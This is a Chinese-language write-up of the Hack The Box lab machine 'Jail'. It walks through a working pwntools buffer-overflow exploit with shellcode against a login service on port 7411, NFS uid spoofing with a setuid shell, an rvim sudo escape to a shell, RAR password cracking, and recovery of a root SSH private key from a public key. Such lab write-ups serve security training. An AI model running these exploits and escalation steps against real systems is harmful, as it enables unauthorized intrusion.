1. 程式人生 > 實用技巧 >HTB-靶機-Jail

HTB-靶機-Jail

本篇文章僅用於技術交流學習和研究的目的,嚴禁使用文章中的技術用於非法目的和破壞,否則造成一切後果與發表本文章的作者無關

靶機是作者購買VIP使用退役靶機操作,顯示IP地址為10.10.10.34

本次使用https://github.com/Tib3rius/AutoRecon 進行自動化全方位掃描

執行命令

autorecon 10.10.10.34 -o ./jail-autorecon

最終的掃描結果

nfs服務詳細資訊

得知目標開放了兩個共享目錄,先看看80埠的web應用

發現瞭如上資訊,沒啥用,使用ffuf跑跑目錄

ffuf -u http://10.10.10.34/FUZZ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -e .php,.c,.txt

跑出來了jailuser 訪問得到如下

把上面檔案都下載下來

通過檢視得知原始碼開放7411埠是個身份證登入驗證的程式,通過測試驗證此程式在目標靶機啟動並開放7411埠,而且存緩衝區溢位漏洞

得到上述資訊是本地啟用此程式,然後本地監聽了埠7411,使用nc -vn進行連線測試 最終得出可溢位的位置,便有了下面的利用程式碼,參考的shellcode是:https://www.exploit-db.com/exploits/34060

#!/usr/bin/env python

from pwn import *
import struct

shellcode = "\x6a\x02\x5b\x6a\x29\x58\xcd\x80\x48\x89\xc6
" shellcode+="\x31\xc9\x56\x5b\x6a\x3f\x58\xcd\x80\x41\x80" shellcode+="\xf9\x03\x75\xf5\x6a\x0b\x58\x99\x52\x31\xf6" shellcode+="\x56\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e" shellcode+="\x89\xe3\x31\xc9\xcd\x80" payload = "A"*28 + struct.pack("<I",0xffffd610 + 32) + shellcode r = remote('10.10.10.34', 7411) r.sendline(
'DEBUG') print r.recv(1024) r.sendline('USER admin') print r.recv(1024) r.sendline('PASS ' + payload) r.interactive()

具體分析可參考這兩篇文章

https://reboare.github.io/htb/htb-jail.html  
https://medium.com/@gabriel.pirjolescu/hack-the-box-jail-write-up-e279862155d4

成功拿到一個低許可權的shell,讀取不了user.txt檔案,需要提權到其他普通使用者檢視,這裡前面掃描已經得出來了目標靶機存在nfs服務,並且開放了兩個共享目錄,利用方式以前也說過,通過本地建立跟目標使用者相同的uid和gid ,然後使用此使用者重新掛載nfs即可

檢視到目標靶機存在普通使用者frank,我們的目的是通過nfs提權橫向移動到此使用者,具體操作如下:

nfs提權

本地建立新增指定使用者uid和gid
sudo groupadd -g 1000 frank
sudo adduser frank -uid 1000 -gid 1000

修改指定使用者uid和gid
usermod -u 1008 kali
groupmod -g 1008 kali

建立C程式碼shell指定uid和gid為1000

#include <stdio.h>
#include <stdlib.h>
#includ <unistd.h>

int main(int argc, char *argv[])
{
    setreuid(1000,1000);
    printf("ID:%d\n",geteuid());
    execve("/bin/sh",NULL,NULL);
}

frank@kali:/mnt/jail/nfsshare$ gcc bmfxshell.c -o bmfxshits
frank@kali:/mnt/jail/nfsshare$ chmod u+s bmfxshits

因為本機kali佔用了uid和gid為1000,所以需要先修改kali為其他的非1000的uid和gid然後再建立,成功之後重新掛載nfs,掛載完成記得是在掛載成功的目錄下編譯提權的C程式碼,我這測試在本地編譯好複製過去提權不成功,上述成功之後得到如下資訊:

通過上面可以看到需要再次橫向移動到使用者adm,其存在一個漏洞是可以通過rvim漏洞 https://github.com/vim/vim/issues/1543 進行繞過切換至使用者adm

通過執行如下命令進行橫向提權

sudo -u adm /usr/bin/rvim /var/www/html/jailuser/dev/jail.c
:diffpatch $(sh <&2 >&2)

提權到使用者adm得到如下提示資訊

由於目標靶機shell不是太穩定,且不友好,我這就是base64編碼的形式拿到本地kali中分析

上述的keys.rar是拿到本地來了,但是嘗試開啟的時候需要密碼,再回頭看看上述的其他提示資訊,在谷歌上搜索了一把得到一片文章

所以根據提示使用命令crunch根據關鍵字生成字典通過john進行爆破

crunch 11 11 -t Morris1962^ > bmfxpass

開始對rar檔案密碼進行爆破之前先轉換下

開始破解

得到密碼keys.rar:Morris1962!:1::rootauthorizedsshkey.pub 進行解壓此rar檔案

得到一個公鑰,然後可以使用前面講到的工具https://github.com/Ganapati/RsaCtfTool將公鑰變成私鑰,將得到的使用連線目標靶機的root使用者即可拿到root.txt

python3 RsaCtfTool.py --publickey rootauthorizedsshkey.pub --private > id_rsa